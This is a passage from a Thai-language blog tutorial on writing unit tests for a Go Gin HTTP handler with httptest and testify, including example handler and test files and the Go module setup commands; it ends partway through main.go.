&#xE17;&#xE35;&#xE48;&#xE17;&#xE33;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE1E;&#xE48;&#xE2D;&#xE04;&#xE23;&#xE31;&#xE27;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE23;&#xE31;&#xE1A; Order (Request) &#xE41;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32; (Response) &#xE27;&#xE48;&#xE32;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE2B;&#xE49;&#xE1E;&#xE48;&#xE2D;&#xE04;&#xE23;&#xE31;&#xE27;&#xE2A;&#xE48;&#xE07; HTTP Response &#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32;&#xE43;&#xE2B;&#xE49;&#xE1E;&#xE19;&#xE31;&#xE01;&#xE07;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE34;&#xE23;&#xE4C;&#xE1F;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE40;&#xE04;&#xE23;&#xE37;&#xE2D;&#xE02;&#xE48;&#xE32;&#xE22;&#xE08;&#xE23;&#xE34;&#xE07; &#xE46; &#xE08;&#xE36;&#xE07;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21; <strong>&#xE01;&#xE25;&#xE48;&#xE2D;&#xE07;&#xE1E;&#xE34;&#xE40;&#xE28;&#xE29;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE1E;&#xE48;&#xE2D;&#xE04;&#xE23;&#xE31;&#xE27;&#xE17;&#xE33;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08; </strong>&#xE14;&#xE49;&#xE27;&#xE22; Function &quot;<strong>httptest.NewRecorder()</strong>&quot; &#xE08;&#xE32;&#xE01; Package &quot;<strong>net/http/httptest</strong>&quot;</p><pre><code>w := httptest.NewRecorder()</code></pre><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE48;&#xE07; Request &#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Handler Function &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE40;&#xE04;&#xE23;&#xE37;&#xE2D;&#xE02;&#xE48;&#xE32;&#xE22;&#xE08;&#xE23;&#xE34;&#xE07; &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE1E;&#xE19;&#xE31;&#xE01;&#xE07;&#xE32;&#xE19;&#xE21;&#xE32;&#xE23;&#xE31;&#xE1A; Order &#xE17;&#xE35;&#xE48;&#xE08;&#xE14;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19;&#xE01;&#xE23;&#xE30;&#xE14;&#xE32;&#xE29; (<strong>reg</strong>) &#xE0B;&#xE36;&#xE48;&#xE07;&#xE1E;&#xE19;&#xE31;&#xE01;&#xE07;&#xE32;&#xE19;&#xE08;&#xE30;&#xE2A;&#xE48;&#xE07; Order &#xE44;&#xE1B;&#xE43;&#xE2B;&#xE49;&#xE1E;&#xE48;&#xE2D;&#xE04;&#xE23;&#xE31;&#xE27;&#xE14;&#xE49;&#xE27;&#xE22;&#xE0A;&#xE48;&#xE2D;&#xE07;&#xE17;&#xE32;&#xE07;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30; (<strong>r.ServeHTTP()</strong>) &#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE1D;&#xE32;&#xE01;&#xE01;&#xE25;&#xE48;&#xE2D;&#xE07;&#xE1E;&#xE34;&#xE40;&#xE28;&#xE29;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE08;&#xE31;&#xE14;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE44;&#xE27;&#xE49;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE31;&#xE01;&#xE04;&#xE23;&#xE39;&#xE48; (w) &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE1E;&#xE48;&#xE2D;&#xE04;&#xE23;&#xE31;&#xE27;&#xE43;&#xE2A;&#xE48;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE17;&#xE33;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32;</p><pre><code>r.ServeHTTP(w, req)</code></pre><p>&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE17;&#xE35;&#xE22;&#xE1A; HTTP Status &#xE2A;&#xE2D;&#xE07;&#xE04;&#xE48;&#xE32; &#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; HTTP Response (<strong>w.Code</strong>) &#xE01;&#xE31;&#xE1A;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE04;&#xE32;&#xE14;&#xE2B;&#xE27;&#xE31;&#xE07; (<strong>http.StatusOK</strong>) &#xE14;&#xE49;&#xE27;&#xE22; Function &quot;<strong>assert.Equal()</strong>&quot; &#xE08;&#xE32;&#xE01; Package &quot;<strong>testify/assert</strong>&quot; &#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22;&#xE15;&#xE31;&#xE27;&#xE40;&#xE2D;&#xE07; &#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE2A;&#xE48;&#xE07;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; <strong>t</strong> &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE23;&#xE32;&#xE22;&#xE07;&#xE32;&#xE19;&#xE1C;&#xE25;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;&#xE43;&#xE19; Function</p><p>&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; assert.Equal() &#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49; Code &#xE2A;&#xE31;&#xE49;&#xE19;&#xE41;&#xE25;&#xE30;&#xE01;&#xE23;&#xE30;&#xE0A;&#xE31;&#xE1A;&#xE01;&#xE27;&#xE48;&#xE32; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE2D;&#xE48;&#xE32;&#xE19; Code &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE07;&#xE48;&#xE32;&#xE22;&#xE02;&#xE36;&#xE49;&#xE19; &#xE25;&#xE14;&#xE42;&#xE2D;&#xE01;&#xE32;&#xE2A;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14; &#xE41;&#xE25;&#xE30;&#xE43;&#xE2B;&#xE49;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE0A;&#xE19;&#xE4C;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE25;&#xE49;&#xE21;&#xE40;&#xE2B;&#xE25;&#xE27; &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1B;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE17;&#xE35;&#xE22;&#xE1A;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE40;&#xE0A;&#xE48;&#xE19; Slice, Map, &#xE2B;&#xE23;&#xE37;&#xE2D; Struct &#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Loop &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;&#xE17;&#xE35;&#xE48;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19; &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE21;&#xE35;&#xE1C;&#xE39;&#xE49;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE23;&#xE49;&#xE32;&#xE19;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE1D;&#xE35;&#xE21;&#xE37;&#xE2D;&#xE14;&#xE35; &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE04;&#xE27;&#xE32;&#xE21;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE15;&#xE2D;&#xE1A;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE02;&#xE2D;&#xE07;&#xE1E;&#xE48;&#xE2D;&#xE04;&#xE23;&#xE31;&#xE27;&#xE08;&#xE32;&#xE01;&#xE01;&#xE25;&#xE48;&#xE2D;&#xE07;&#xE1E;&#xE34;&#xE40;&#xE28;&#xE29;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;</p><p>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE17;&#xE35;&#xE22;&#xE1A; HTTP Status &#xE14;&#xE49;&#xE27;&#xE22; assert.Equal() &#xE41;&#xE25;&#xE30;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE40;&#xE2D;&#xE07; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE16;&#xE49;&#xE32;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A; Status 200 (OK) &#xE08;&#xE30;&#xE16;&#xE37;&#xE2D;&#xE27;&#xE48;&#xE32;&#xE40;&#xE23;&#xE32;&#xE44;&#xE14;&#xE49;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; &#xE41;&#xE15;&#xE48;&#xE16;&#xE49;&#xE32;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE15;&#xE2D;&#xE1A;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE2D;&#xE37;&#xE48;&#xE19; &#xE40;&#xE0A;&#xE48;&#xE19; Status 404 &#xE2B;&#xE23;&#xE37;&#xE2D; 500 &#xE01;&#xE47;&#xE08;&#xE30;&#xE16;&#xE37;&#xE2D;&#xE27;&#xE48;&#xE32;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE19;&#xE31;&#xE49;&#xE19;&#xE25;&#xE49;&#xE21;&#xE40;&#xE2B;&#xE25;&#xE27; &#xE41;&#xE25;&#xE30;&#xE21;&#xE35;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14;</p><figure class="kg-card kg-code-card"><pre><code>assert.Equal(t, http.StatusOK, w.Code)</code></pre><figcaption>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22; assert.Equal()</figcaption></figure><figure class="kg-card kg-code-card"><pre><code>if w.Code != http.StatusOK {
    t.Errorf(&quot;Expected status code %d, but got %d&quot;, http.StatusOK, w.Code)
}</code></pre><figcaption>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE40;&#xE07;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE02;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22;&#xE15;&#xE31;&#xE27;&#xE40;&#xE2D;&#xE07; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE49; assert.Equal()</figcaption></figure><p>&#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE19;&#xE35;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE43;&#xE19; JSON &#xE17;&#xE35;&#xE48;&#xE15;&#xE2D;&#xE1A;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32;&#xE43;&#xE19; Response Body &#xE27;&#xE48;&#xE32;&#xE43;&#xE0A;&#xE48;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21; &quot;<strong>Hello, World!</strong>&quot; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;</p><p>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE08;&#xE30;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; w.Body.Bytes() &#xE08;&#xE30;&#xE16;&#xE39;&#xE01; Unmarshal &#xE14;&#xE49;&#xE27;&#xE22; Function &quot;json.Unmarshal()&quot; &#xE44;&#xE1B;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17; map &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE04;&#xE25;&#xE49;&#xE32;&#xE22;&#xE01;&#xE31;&#xE1A; JSON (JavaScript Object Notation) &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Key-value Pair &#xE15;&#xE32;&#xE21;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE15;&#xE47;&#xE21;&#xE17;&#xE32;&#xE07;&#xE14;&#xE49;&#xE32;&#xE19;&#xE25;&#xE48;&#xE32;&#xE07;&#xE19;&#xE35;&#xE49;</p><figure class="kg-card kg-code-card"><pre><code>// hello.go
package handlers

import (
	&quot;net/http&quot;

	&quot;github.com/gin-gonic/gin&quot;
)

func HelloHandler(c *gin.Context) {
	c.JSON(http.StatusOK, gin.H{
		&quot;message&quot;: &quot;Hello, World!&quot;,
	})
}</code></pre><figcaption>hello.go</figcaption></figure><figure class="kg-card kg-code-card"><pre><code>// hello_test.go
package handlers

import (
	&quot;encoding/json&quot;
	&quot;net/http&quot;
	&quot;net/http/httptest&quot;
	&quot;testing&quot;

	&quot;github.com/gin-gonic/gin&quot;
	&quot;github.com/stretchr/testify/assert&quot;
)

func TestHelloHandler(t *testing.T) {
	// Set Gin to Test Mode
	gin.SetMode(gin.TestMode)

	// Setup the router
	r := gin.Default()
	r.GET(&quot;/hello&quot;, HelloHandler)

	// Create a test request
	req, err := http.NewRequest(http.MethodGet, &quot;/hello&quot;, nil)
	if err != nil {
		t.Fatalf(&quot;Couldn&apos;t create request: %v\n&quot;, err)
	}

	// Create a response recorder
	w := httptest.NewRecorder()

	// Perform the request
	r.ServeHTTP(w, req)

	// Check the status code
	assert.Equal(t, http.StatusOK, w.Code)

	// Parse the response body
	var response map[string]string
	err = json.Unmarshal(w.Body.Bytes(), &amp;response)
	if err != nil {
		t.Fatalf(&quot;Couldn&apos;t parse response body: %v\n&quot;, err)
	}

	// Check the response body
	assert.Equal(t, &quot;Hello, World!&quot;, response[&quot;message&quot;])
}</code></pre><figcaption>hello_test.go</figcaption></figure><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Package &quot;handlers&quot; &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Project &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;&#xE04;&#xE23;&#xE31;&#xE1A;</p><pre><code>myproject/
&#x251C;&#x2500;&#x2500; cmd
&#x2502;   &#x2514;&#x2500;&#x2500; main.go
&#x251C;&#x2500;&#x2500; go.mod
&#x2514;&#x2500;&#x2500; internal
    &#x2514;&#x2500;&#x2500; handlers
        &#x251C;&#x2500;&#x2500; hello.go
        &#x2514;&#x2500;&#x2500; hello_test.go</code></pre><p><strong>hello<strong>.go</strong></strong> &#xE04;&#xE37;&#xE2D; &#xE44;&#xE1F;&#xE25;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A; Code &#xE43;&#xE19; Package &quot;handler&quot; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35; Function &quot;HelloHandler&quot; &#xE17;&#xE35;&#xE48;&#xE08;&#xE30; Test</p><p><strong>hello<strong>_test.go</strong></strong> &#xE04;&#xE37;&#xE2D;&#xE44;&#xE1F;&#xE25;&#xE4C; Test &#xE0B;&#xE36;&#xE48;&#xE07;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Package &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;&#xE01;&#xE31;&#xE1A; Code &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; &#xE42;&#xE14;&#xE22; Function <strong>TestHelloHandler </strong>&#xE43;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; hello_test.go &#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07; HTTP Request &#xE41;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE07; Request &#xE44;&#xE1B;&#xE17;&#xE35;&#xE48; &quot;/hello&quot; &#xE41;&#xE25;&#xE49;&#xE27;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Status Code &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE43;&#xE19; JSON &#xE08;&#xE32;&#xE01; Response &#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;</p><p>&#xE44;&#xE1F;&#xE25;&#xE4C; hello_test.go &#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Import Package &#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19; &#xE40;&#xE0A;&#xE48;&#xE19; </p><p><strong>net/http</strong> &#xE41;&#xE25;&#xE30; <strong>net/http/httptest</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07; HTTP Request &#xE41;&#xE25;&#xE30; Response</p><p><strong>github.com/gin-gonic/gin</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE43;&#xE0A;&#xE49; Gin Framework </p><p><strong>github.com/stretchr/testify/assert</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Assertion &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1B;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE40;&#xE17;&#xE35;&#xE22;&#xE1A;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE04;&#xE32;&#xE14;&#xE2B;&#xE27;&#xE31;&#xE07;&#xE01;&#xE31;&#xE1A;&#xE04;&#xE48;&#xE32;&#xE08;&#xE23;&#xE34;&#xE07;</p><p>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE08;&#xE30;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; API &#xE43;&#xE2B;&#xE49;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; &#xE41;&#xE25;&#xE30; Folder &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>myproject/
&#x251C;&#x2500;&#x2500; cmd
&#x2514;&#x2500;&#x2500; internal
    &#x2514;&#x2500;&#x2500; handlers
        &#x251C;&#x2500;&#x2500; hello.go
        &#x2514;&#x2500;&#x2500; hello_test.go</code></pre><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C;&#x200B; go.mod &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go mod init myproject</p><pre><code>go mod init myproject</code></pre><p>&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Package &quot;github.com/gin-gonic/gin&quot;</p><pre><code>go get github.com/gin-gonic/gin</code></pre><p>&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Package &quot;github.com/stretchr/testify/assert&quot;</p><pre><code>go get github.com/stretchr/testify/assert</code></pre><p>&#xE23;&#xE31;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>go mod tidy</code> &#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07; Dependency &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE2D;&#xE14;&#xE04;&#xE25;&#xE49;&#xE2D;&#xE07;&#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE21;&#xE1A;&#xE39;&#xE23;&#xE13;&#xE4C;&#xE02;&#xE2D;&#xE07; Dependency &#xE43;&#xE19; Project</p><pre><code>go mod tidy</code></pre><p>&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go test -v &#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE1A; -count=1 <strong><strong>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE31;&#xE48;&#xE19;&#xE43;&#xE08;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Test &#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE14;&#xE36;&#xE07;&#xE1C;&#xE25;&#xE01;&#xE32;&#xE23; Test &#xE21;&#xE32;&#xE08;&#xE32;&#xE01; Cache</strong></strong></p><pre><code>go test -v -count=1 ./...</code></pre><p>&#xE14;&#xE39; % &#xE02;&#xE2D;&#xE07; Coverage &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go test -cover</p><pre><code>go test -cover ./...</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2567-08-18-at-09.55.57.png" class="kg-image" alt loading="lazy" width="2000" height="1246" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2567-08-18-at-09.55.57.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2567-08-18-at-09.55.57.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2567-08-18-at-09.55.57.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2567-08-18-at-09.55.57.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE23;&#xE31;&#xE19; Unit Test &#xE41;&#xE25;&#xE49;&#xE27; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; API &#xE14;&#xE49;&#xE27;&#xE22; Package &quot;handlers&quot; &#xE43;&#xE19; main.go &#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>package main

import (
	&quot;log&quot;

	&quot;github.com/gin-gonic/gin&quot;
	&quot;myproject/internal/handlers&quot; 
)

func main() {
	// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Gin router
	r := gin.Default()

	// &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; route
	r.GET(&quot;/hello&quot;, handlers.HelloHandler)

